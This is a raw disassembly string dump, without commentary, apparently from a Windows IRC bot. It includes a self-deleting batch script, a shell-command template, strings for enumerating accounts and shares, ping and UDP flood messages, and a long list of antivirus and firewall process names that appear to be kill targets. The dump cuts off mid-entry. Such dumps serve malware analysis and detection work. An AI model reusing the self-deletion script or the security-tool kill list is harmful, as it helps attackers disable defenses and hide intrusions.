aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_406359+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_406359+90o align 10h aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_406359+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_406359+28o align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4067EA+72o align 4 aMirc_0 db 'mIRC',0 ; DATA XREF: sub_4068AF+6o ; sub_40FBDB+18o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_406931+1Ao align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4069D5+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4069F7+13Co align 10h a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4069F7+80o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4069F7+43o align 10h aContinued db 'Continued',0 align 4 aContinue_0 db 'Continue',0 align 4 aPaused db 'Paused',0 align 10h aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .data:0042B4A4o aStop_0 db 'Stop',0 ; DATA XREF: .data:0042B4A0o align 4 aStarted db 'Started',0 ; DATA XREF: .data:0042B498o aStart_0 db 'Start',0 ; DATA XREF: .data:0042B494o align 4 aListed db 'Listed',0 ; DATA XREF: .data:0042B48Co align 10h aList_1 db 'List',0 ; DATA XREF: .data:0042B488o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .data:0042B480o aDelete_0 db 'Delete',0 ; DATA XREF: .data:0042B47Co align 4 aAdded db 'Added',0 ; DATA XREF: .data:off_42B474o align 10h aAdd db 'Add',0 ; DATA XREF: .data:off_42B470o aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_406D2D+128o align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_406D2D:loc_406E41o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_406D2D:loc_406E3Ao align 10h aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_406D2D:loc_406E33o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_406D2D:loc_406E2Co align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_406D2D:loc_406E25o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_406D2D:loc_406E1Eo align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_406D2D:loc_406E17o align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_406D2D:loc_406E10o align 8 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_406D2D:loc_406E09o db 'marked for deletion.',0 align 10h aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_406D2D:loc_406E02o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_406D2D:loc_406DD7o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_406D2D:loc_406DD0o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_406D2D:loc_406DC9o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_406D2D:loc_406DC2o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_406D2D+8Bo align 10h aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_406D2D:loc_406D97o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_406D2D:loc_406D8Do aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_406D2D:loc_406D83o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_406D2D:loc_406D79o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_406D2D:loc_406D6Fo align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_406D2D+38o align 10h aSSS_0 db '%s: %s (%s)',0 ; DATA XREF: sub_406EA7+EEo aStopped db ' Stopped',0 ; DATA XREF: sub_406EA7:loc_406F76o aStarting db ' Starting',0 ; DATA XREF: sub_406EA7:loc_406F6Fo aStoping db ' Stoping',0 ; DATA XREF: sub_406EA7:loc_406F68o aRunning db ' Running',0 ; DATA XREF: sub_406EA7:loc_406F61o aContinuing db ' Continuing',0 ; DATA XREF: sub_406EA7:loc_406F5Ao aPausing db ' Pausing',0 ; DATA XREF: sub_406EA7:loc_406F53o aPaused_0 db ' Paused',0 ; DATA XREF: sub_406EA7:loc_406F4Co aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_406EA7+9Eo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_406EA7+25o align 4 aNetUserInfoErr db '[NET]: User info error: <%ld>',0 ; DATA XREF: sub_4071B2+394o align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_4071B2+36Ao align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_4071B2+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4071B2+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_4071B2+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_4071B2+2C4o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_4071B2+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_4071B2+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_4071B2+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_4071B2+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_4071B2+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_4071B2+1CBo align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_4071B2+1A0o align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_4071B2+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_4071B2+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_4071B2+125o aGuest db 'Guest',0 ; DATA XREF: sub_4071B2:loc_4072CBo align 4 aUser_1 db 'User',0 ; DATA XREF: sub_4071B2:loc_4072C4o align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_4071B2:loc_4072BDo align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_4071B2+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_4071B2+ACo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_4071B2+81o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_4071B2+50o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_407580:loc_407699o align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_407580:loc_407692o align 10h aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_407580:loc_40768Bo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_407580:loc_407684o align 4 aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_407580:loc_40767Do align 10h aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_407580:loc_407660o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_407580:loc_407659o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_407580:loc_407652o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_407580+CBo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_407580:loc_407627o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_407580:loc_407620o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_407580:loc_407619o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_407580:loc_40760Fo align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_407580+85o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_407580:loc_4075E9o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_407580:loc_4075DFo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_407580:loc_4075D5o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_407580:loc_4075CBo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_407580:loc_4075C1o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_407580+37o align 10h aNetSServerSMes db '[NET]: %s <Server: %S> <Message: %S>',0 ; DATA XREF: sub_4076B0+A4o align 4 aNetMessageSent db '[NET]: Message sent successfully.',0 ; DATA XREF: sub_4076B0+7Co align 4 aNetSNoServiceS db '[NET]: %s: No service specified.',0 ; DATA XREF: sub_40776C+65o align 10h aNetErrorWithSe db '[NET]: Error with service: ',27h,'%s',27h,'. %s',0 ; DATA XREF: sub_40776C+4Fo aNetSServiceS_ db '[NET]: %s service: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40776C+33o align 10h aNetSNoShareSpe db '[NET]: %s: No share specified.',0 ; DATA XREF: sub_4077E4+AAo align 10h aNetSShareS_ db '[NET]: %s share: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4077E4+88o align 4 aNetSErrorWithS db '[NET]: %s: Error with share: ',27h,'%s',27h,'. %s',0 ; DATA XREF: sub_4077E4+56o align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4078A2+CEo align 4 aNo db 'No',0 ; DATA XREF: sub_4078A2+BAo align 4 aYes db 'Yes',0 ; DATA XREF: sub_4078A2+B3o aNetShareListEr db '[NET]: Share list error: %s <%ld>',0 ; DATA XREF: sub_4078A2+74o align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_4078A2+1Do align 4 aNetSNoUsername db '[NET]: %s: No username specified.',0 ; DATA XREF: sub_4079C1+B5o align 10h aNetSErrorWithU db '[NET]: %s: Error with username: ',27h,'%s',27h,'. %s',0 ; DATA XREF: sub_4079C1+93o align 4 aNetSUsernameS_ db '[NET]: %s username: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4079C1+6Do align 4 aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_407A8B+144o align 10h aNetAnAccessVio db '[NET]: An access violation has occured.',0 ; DATA XREF: sub_407A8B:loc_407B76o aS_3 db ' %S',0 ; DATA XREF: sub_407A8B+B8o align 10h aNetUserListErr db '[NET]: User list error: %s <%ld>',0 ; DATA XREF: sub_407A8B+78o align 4 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_407A8B+1Fo aFlushdnsNotSup db '[FLUSHDNS]: Not supported by this system.',0 ; DATA XREF: sub_407C37:loc_407D0Eo align 4 aFlushdnsUnable db '[FLUSHDNS]: Unable to allocation ARP cache.',0 ; DATA XREF: sub_407C37:loc_407CDFo aFlushdnsArpCac db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_407C37:loc_407C8Bo aFlushdnsErrorG db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0 ; DATA XREF: sub_407C37+44o align 4 aPingFinishedSe db '[PING]: Finished sending pings to %s.',0 ; DATA XREF: sub_407DBB+138o align 4 aPingErrorSendi db '[PING]: Error sending pings to %s.',0 ; DATA XREF: sub_407DBB+6Co align 4 aUdpFinishedSen db '[UDP]: Finished sending packets to %s.',0 ; DATA XREF: sub_407F44+1CAo align 10h aUdpErrorSendin db '[UDP]: Error sending pings to %s.',0 ; DATA XREF: sub_407F44+8Co align 4 aHass_exe db 'hass.exe',0 ; DATA XREF: .data:0042BEACo align 10h aWinmp_exe db 'winmp.exe',0 ; DATA XREF: .data:0042BEA8o align 4 aBling_exe db 'bling.exe',0 ; DATA XREF: .data:0042BEA4o align 4 aWuamgrd_exe db 'wuamgrd.exe',0 ; DATA XREF: .data:0042BEA0o aScguard_exe db 'scguard.exe',0 ; DATA XREF: .data:0042BE9Co aWinssv_exe db 'winssv.exe',0 ; DATA XREF: .data:0042BE98o align 4 aWruaclt_exe db 'WRUACLT.EXE',0 ; DATA XREF: .data:0042BE94o aWuacrlt_exe db 'WUACRLT.EXE',0 ; DATA XREF: .data:0042BE90o aWuanclt_exe db 'WUANCLT.EXE',0 ; DATA XREF: .data:0042BE8Co aMsconfig_exe db 'MsConfiG.exe',0 ; DATA XREF: .data:0042BE88o align 10h aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: .data:0042BE84o align 10h aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:0042BE80o align 4 aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:0042BE7Co align 4 aRate_exe db 'rate.exe',0 ; DATA XREF: .data:0042BE78o align 4 aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:0042BE74o align 4 aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:0042BE70o align 10h aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:0042BE6Co align 4 aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:0042BE68o align 4 aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:0042BE64o aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:0042BE60o aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:0042BE5Co aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:0042BE58o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:0042BE54o align 10h aFAgobot_exe db 'F-AGOBOT.EXE',0 ; DATA XREF: .data:0042BE50o align 10h aHijackthis_exe db 'HIJACKTHIS.EXE',0 ; DATA XREF: .data:0042BE4Co align 10h a_avpm_exe db '_AVPM.EXE',0 ; DATA XREF: .data:0042BE48o align 4 a_avpcc_exe db '_AVPCC.EXE',0 ; DATA XREF: .data:0042BE44o align 4 a_avp32_exe db '_AVP32.EXE',0 ; DATA XREF: .data:0042BE40o align 4 aZonealarm_exe db 'ZONEALARM.EXE',0 ; DATA XREF: .data:0042BE3Co align 4 aZonalm2601_exe db 'ZONALM2601.EXE',0 ; DATA XREF: .data:0042BE38o align 4 aZatutor_exe db 'ZATUTOR.EXE',0 ; DATA XREF: .data:0042BE34o aZapsetup3001_e db 'ZAPSETUP3001.EXE',0 ; DATA XREF: .data:0042BE30o align 4 aZapro_exe db 'ZAPRO.EXE',0 ; DATA XREF: .data:0042BE2Co align 10h aXpf202en_exe db 'XPF202EN.EXE',0 ; DATA XREF: .data:0042BE28o align 10h aWyvernworksfir db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: .data:0042BE24o aWupdt_exe db 'WUPDT.EXE',0 ; DATA XREF: .data:0042BE20o align 4 aWupdater_exe db 'WUPDATER.EXE',0 ; DATA XREF: .data:0042BE1Co align 4 aWsbgate_exe db 'WSBGATE.EXE',0 ; DATA XREF: .data:0042BE18o aWrctrl_exe db 'WRCTRL.EXE',0 ; DATA XREF: .data:0042BE14o align 4 aWradmin_exe db 'WRADMIN.EXE',0 ; DATA XREF: .data:0042BE10o aWnt_exe db 'WNT.EXE',0 ; DATA XREF: .data:0042BE0Co aWnad_exe db 'WNAD.EXE',0 ; DATA XREF: .data:0042BE08o align 4 aWkufind_exe db 'WKUFIND.EXE',0 ; DATA XREF: .data:0042BE04o aWinupdate_exe db 'WINUPDATE.EXE',0 ; DATA XREF: .data:0042BE00o align 4 aWintsk32_exe db 'WINTSK32.EXE',0 ; DATA XREF: .data:0042BDFCo align 4 aWinstart001_ex db 'WINSTART001.EXE',0 ; DATA XREF: .data:0042BDF8o aWinstart_exe db 'WINSTART.EXE',0 ; DATA XREF: .data:0042BDF4o align 4 aWinssk32_exe db 'WINSSK32.EXE',0 ; DATA XREF: .data:0042BDF0o align 4 aWinservn_exe db 'WINSERVN.EXE',0 ; DATA XREF: .data:0042BDECo align 4 aWinrecon_exe db 'WINRECON.EXE',0 ; DATA XREF: .data:0042BDE8o align 4 aWinppr32_exe db 'WINPPR32.EXE',0 ; DATA XREF: .data:0042BDE4o align 4 aWinnet_exe db 'WINNET.EXE',0 ; DATA XREF: .data:0042BDE0o align 4 aWinmain_exe db 'WINMAIN.EXE',0 ; DATA XREF: .data:0042BDDCo aWinlogin_exe db 'WINLOGIN.EXE',0 ; DATA XREF: .data:0042BDD8o align 10h aWininitx_exe db 'WININITX.EXE',0 ; DATA XREF: .data:0042BDD4o align 10h aWininit_exe db 'WININIT.EXE',0 ; DATA XREF: .data:0042BDD0o aWininetd_exe db 'WININETD.EXE',0 ; DATA XREF: .data:0042BDCCo align 4 aWindows_exe db 'WINDOWS.EXE',0 ; DATA XREF: .data:0042BDC8o aWindow_exe db 'WINDOW.EXE',0 ; DATA XREF: .data:0042BDC4o align 4 aWinactive_exe db 'WINACTIVE.EXE',0 ; DATA XREF: .data:0042BDC0o align 4 aWin32us_exe db 'WIN32US.EXE',0 ; DATA XREF: .data:0042BDBCo aWin32_exe db 'WIN32.EXE',0 ; DATA XREF: .data:0042BDB8o align 4 aWinBugsfix_exe db 'WIN-BUGSFIX.EXE',0 ; DATA XREF: .data:0042BDB4o aWimmun32_exe db 'WIMMUN32.EXE',0 ; DATA XREF: .data:0042BDB0o align 4 aWhoswatchingme db 'WHOSWATCHINGME.EXE',0 ; DATA XREF: .data:0042BDACo align 10h aWgfe95_exe db 'WGFE95.EXE',0 ; DATA XREF: .data:0042BDA8o align 4 aWfindv32_exe db 'WFINDV32.EXE',0 ; DATA XREF: .data:0042BDA4o align 4 aWebtrap_exe db 'WEBTRAP.EXE',0 ; DATA XREF: .data:0042BDA0o aWebscanx_exe db 'WEBSCANX.EXE',0 ; DATA XREF: .data:0042BD9Co align 4 aWebdav_exe db 'WEBDAV.EXE',0 ; DATA XREF: .data:0042BD98o align 4 aWatchdog_exe db 'WATCHDOG.EXE',0 ; DATA XREF: .data:0042BD94o align 4 aW9x_exe db 'W9X.EXE',0 ; DATA XREF: .data:0042BD90o aW32dsm89_exe db 'W32DSM89.EXE',0 ; DATA XREF: .data:0042BD8Co align 4 aVswinperse_exe db 'VSWINPERSE.EXE',0 ; DATA XREF: .data:0042BD88o align 4 aVswinntse_exe db 'VSWINNTSE.EXE',0 ; DATA XREF: .data:0042BD84o align 4 aVswin9xe_exe db 'VSWIN9XE.EXE',0 ; DATA XREF: .data:0042BD80o align 4 aVsstat_exe db 'VSSTAT.EXE',0 ; DATA XREF: .data:0042BD7Co align 4 aVsmon_exe db 'VSMON.EXE',0 ; DATA XREF: .data:0042BD78o align 4 aVsmain_exe db 'VSMAIN.EXE',0 ; DATA XREF: .data:0042BD74o align 10h aVsisetup_exe db 'VSISETUP.EXE',0 ; DATA XREF: .data:0042BD70o align 10h aVshwin32_exe db 'VSHWIN32.EXE',0 ; DATA XREF: .data:0042BD6Co align 10h aVsecomr_exe db 'VSECOMR.EXE',0 ; DATA XREF: .data:0042BD68o aVsched_exe db 'VSCHED.EXE',0 ; DATA XREF: .data:0042BD64o align 4 aVscenu6_02d30_ db 'VSCENU6.02D30.EXE',0 ; DATA XREF: .data:0042BD60o align 4 aVscan40_exe db 'VSCAN40.EXE',0 ; DATA XREF: .data:0042BD5Co aVptray_exe db 'VPTRAY.EXE',0 ; DATA XREF: .data:0042BD58o align 4 aVpfw30s_exe db 'VPFW30S.EXE',0 ; DATA XREF: .data:0042BD54o aVpc42_exe db 'VPC42.EXE',0 ; DATA XREF: .data:0042BD50o align 4 aVpc32_exe db 'VPC32.EXE',0 ; DATA XREF: .data:0042BD4Co align 4 aVnpc3000_exe db 'VNPC3000.EXE',0 ; DATA XREF: .data:0042BD48o align 4 aVnlan300_exe db 'VNLAN300.EXE',0 ; DATA XREF: .data:0042BD44o align 4 aVirusmdpersona db 'VIRUSMDPERSONALFIREWALL.EXE',0 ; DATA XREF: .data:0042BD40o aVirHelp_exe db 'VIR-HELP.EXE',0 ; DATA XREF: .data:0042BD3Co align 4 aVfsetup_exe db 'VFSETUP.EXE',0 ; DATA XREF: .data:0042BD38o aVettray_exe db 'VETTRAY.EXE',0 ; DATA XREF: .data:0042BD34o aVet95_exe db 'VET95.EXE',0 ; DATA XREF: .data:0042BD30o align 4 aVet32_exe db 'VET32.EXE',0 ; DATA XREF: .data:0042BD2Co align 4 aVcsetup_exe db 'VCSETUP.EXE',0 ; DATA XREF: .data:0042BD28o aVbwinntw_exe db 'VBWINNTW.EXE',0 ; DATA XREF: .data:0042BD24o align 10h aVbwin9x_exe db 'VBWIN9X.EXE',0 ; DATA XREF: .data:0042BD20o aVbust_exe db 'VBUST.EXE',0 ; DATA XREF: .data:0042BD1Co align 4 aVbcons_exe db 'VBCONS.EXE',0 ; DATA XREF: .data:0042BD18o align 4 aVbcmserv_exe db 'VBCMSERV.EXE',0 ; DATA XREF: .data:0042BD14o align 4 aUtpost_exe db 'UTPOST.EXE',0 ; DATA XREF: .data:0042BD10o align 10h aUpgrad_exe db 'UPGRAD.EXE',0 ; DATA XREF: .data:0042BD0Co align 4 aUpdate_exe db 'UPDATE.EXE',0 ; DATA XREF: .data:0042BD04o ; .data:0042BD08o align 4 aUpdat_exe db 'UPDAT.EXE',0 ; DATA XREF: .data:0042BD00o align 4 aUndoboot_exe db 'UNDOBOOT.EXE',0 ; DATA XREF: .data:0042BCFCo align 4 aTvtmd_exe db 'TVTMD.EXE',0 ; DATA XREF: .data:0042BCF8o align 10h aTvmd_exe db 'TVMD.EXE',0 ; DATA XREF: .data:0042BCF4o align 4 aTsadbot_exe db 'TSADBOT.EXE',0 ; DATA XREF: .data:0042BCF0o aTrojantrap3_ex db 'TROJANTRAP3.EXE',0 ; DATA XREF: .data:0042BCECo aTrjsetup_exe db 'TRJSETUP.EXE',0 ; DATA XREF: .data:0042BCE8o align 4 aTrjscan_exe db 'TRJSCAN.EXE',0 ; DATA XREF: .data:0042BCE4o aTrickler_exe db 'TRICKLER.EXE',0 ; DATA XREF: .data:0042BCE0o align 4 aTracert_exe db 'TRACERT.EXE',0 ; DATA XREF: .data:0042BCDCo aTitaninxp_exe db 'TITANINXP.EXE',0 ; DATA XREF: .data:0042BCD8o align 10h aTitanin_exe db 'TITANIN.EXE',0 ; DATA XREF: .data:0042BCD4o aTgbob_exe db 'TGBOB.EXE',0 ; DATA XREF: .data:0042BCD0o align 4 aTfak5_exe db 'TFAK5.EXE',0 ; DATA XREF: .data:0042BCCCo align 4 aTfak_exe db 'TFAK.EXE',0 ; DATA XREF: .data:0042BCC8o align 10h aTeekids_exe db 'TEEKIDS.EXE',0 ; DATA XREF: .data:0042BCC4o aTds2Nt_exe db 'TDS2-NT.EXE',0 ; DATA XREF: .data:0042BCC0o aTds298_exe db 'TDS2-98.EXE',0 ; DATA XREF: .data:0042BCBCo aTds3_exe db 'TDS-3.EXE',0 ; DATA XREF: .data:0042BCB8o align 10h aTcm_exe db 'TCM.EXE',0 ; DATA XREF: .data:0042BCB4o aTca_exe db 'TCA.EXE',0 ; DATA XREF: .data:0042BCB0o aTc_exe db 'TC.EXE',0 ; DATA XREF: .data:0042BCACo align 4 aTbscan_exe db 'TBSCAN.EXE',0 ; DATA XREF: .data:0042BCA8o align 4 aTaumon_exe db 'TAUMON.EXE',0 ; DATA XREF: .data:0042BCA4o align 10h aTaskmon_exe db 'TASKMON.EXE',0 ; DATA XREF: .data:0042BCA0o aTaskmo_exe db 'TASKMO.EXE',0 ; DATA XREF: .data:0042BC9Co align 4 aTaskmg_exe db 'TASKMG.EXE',0 ; DATA XREF: .data:0042BC98o align 4 aSysupd_exe db 'SYSUPD.EXE',0 ; DATA XREF: .data:0042BC94o align 10h aSystem32_exe db 'SYSTEM32.EXE',0 ; DATA XREF: .data:0042BC90o align 10h aSystem_exe db 'SYSTEM.EXE',0 ; DATA XREF: .data:0042BC8Co align 4 aSysedit_exe db 'SYSEDIT.EXE',0 ; DATA XREF: .data:0042BC88o aSymtray_exe db 'SYMTRAY.EXE',0 ; DATA XREF: .data:0042BC84o aSymproxysvc_ex db 'SYMPROXYSVC.EXE',0 ; DATA XREF: .data:0042BC80o aSweepnet_sweep db 'SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE',0 ; DATA XREF: .data:0042BC7Co align 4 aSweep95_exe db 'SWEEP95.EXE',0 ; DATA XREF: .data:0042BC78o aUpd32_exe db 'UPD32.EXE',0 ; DATA XREF: .data:0042BC74o align 10h aSvshost32_exe db 'SVSHOST32.EXE',0 ; DATA XREF: .data:0042BC70o align 10h aSvshost_exe db 'SVSHOST.EXE',0 ; DATA XREF: .data:0042BC6Co aSvchosts_exe db 'SVCHOSTS.EXE',0 ; DATA XREF: .data:0042BC68o align 4 aSvchostc_exe db 'SVCHOSTC.EXE',0 ; DATA XREF: .data:0042BC64o align 4 aSvc_exe db 'SVC.EXE',0 ; DATA XREF: .data:0042BC60o aSupporter5_exe db 'SUPPORTER5.EXE',0 ; DATA XREF: .data:0042BC5Co align 4 aSupport_exe db 'SUPPORT.EXE',0 ; DATA XREF: .data:0042BC58o aSupftrl_exe db 'SUPFTRL.EXE',0 ; DATA XREF: .data:0042BC54o aStcloader_exe db 'STCLOADER.EXE',0 ; DATA XREF: .data:0042BC50o align 4 aStart_exe db 'START.EXE',0 ; DATA XREF: .data:0042BC4Co align 4 aSt2_exe db 'ST2.EXE',0 ; DATA XREF: .data:0042BC48o aSsg_4104_exe db 'SSG_4104.EXE',0 ; DATA XREF: .data:0042BC44o align 10h aSsgrate_exe db 'SSGRATE.EXE',0 ; DATA XREF: .data:0042BC40o aSs3edit_exe db 'SS3EDIT.EXE',0 ; DATA XREF: .data:0042BC3Co aSrng_exe db 'SRNG.EXE',0 ; DATA XREF: .data:0042BC38o align 4 aSrexe_exe db 'SREXE.EXE',0 ; DATA XREF: .data:0042BC34o align 10h aSpyxx_exe db 'SPYXX.EXE',0 ; DATA XREF: .data:0042BC30o align 4 aSpoolsv32_exe db 'SPOOLSV32.EXE',0 ; DATA XREF: .data:0042BC2Co align 4 aSpoolcv_exe db 'SPOOLCV.EXE',0 ; DATA XREF: .data:0042BC28o aSpoler_exe db 'SPOLER.EXE',0 ; DATA XREF: .data:0042BC24o align 4 aSphinx_exe db 'SPHINX.EXE',0 ; DATA XREF: .data:0042BC20o align 10h aSpf_exe db 'SPF.EXE',0 ; DATA XREF: .data:0042BC1Co aSperm_exe db 'SPERM.EXE',0 ; DATA XREF: .data:0042BC18o align 4 aSofi_exe db 'SOFI.EXE',0 ; DATA XREF: .data:0042BC14o align 10h aSoap_exe db 'SOAP.EXE',0 ; DATA XREF: .data:0042BC10o align 4 aSmss32_exe db 'SMSS32.EXE',0 ; DATA XREF: .data:0042BC0Co align 4 aSms_exe db 'SMS.EXE',0 ; DATA XREF: .data:0042BC08o aSmc_exe db 'SMC.EXE',0 ; DATA XREF: .data:0042BC04o aShowbehind_exe db 'SHOWBEHIND.EXE',0 ; DATA XREF: .data:0042BC00o align 4 aShn_exe db 'SHN.EXE',0 ; DATA XREF: .data:0042BBFCo aShellspyinstal db 'SHELLSPYINSTALL.EXE',0 ; DATA XREF: .data:0042BBF8o aSh_exe db 'SH.EXE',0 ; DATA XREF: .data:0042BBF4o align 4 aSgssfw32_exe db 'SGSSFW32.EXE',0 ; DATA XREF: .data:0042BBF0o align 4 aSfc_exe db 'SFC.EXE',0 ; DATA XREF: .data:0042BBECo aSetup_flowprot db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: .data:0042BBE8o align 10h aSetupvameeval_ db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: .data:0042BBE4o align 4 aServlces_exe db 'SERVLCES.EXE',0 ; DATA XREF: .data:0042BBE0o align 4 aServlce_exe db 'SERVLCE.EXE',0 ; DATA XREF: .data:0042BBDCo aService_exe db 'SERVICE.EXE',0 ; DATA XREF: .data:0042BBD8o aServ95_exe db 'SERV95.EXE',0 ; DATA XREF: .data:0042BBD4o align 4 aSd_exe db 'SD.EXE',0 ; DATA XREF: .data:0042BBD0o align 10h aScvhost_exe db 'SCVHOST.EXE',0 ; DATA XREF: .data:0042BBCCo aScrsvr_exe db 'SCRSVR.EXE',0 ; DATA XREF: .data:0042BBC8o align 4 aScrscan_exe db 'SCRSCAN.EXE',0 ; DATA XREF: .data:0042BBC4o aScanpm_exe db 'SCANPM.EXE',0 ; DATA XREF: .data:0042BBC0o align 10h aScan95_exe db 'SCAN95.EXE',0 ; DATA XREF: .data:0042BBBCo align 4 aScan32_exe db 'SCAN32.EXE',0 ; DATA XREF: .data:0042BBB8o align 4 aScam32_exe db 'SCAM32.EXE',0 ; DATA XREF: .data:0042BBB4o align 4 aSc_exe db 'SC.EXE',0 ; DATA XREF: .data:0042BBB0o align 4 aSbserv_exe db 'SBSERV.EXE',0 ; DATA XREF: .data:0042BBACo align 4 aSavenow_exe db 'SAVENOW.EXE',0 ; DATA XREF: 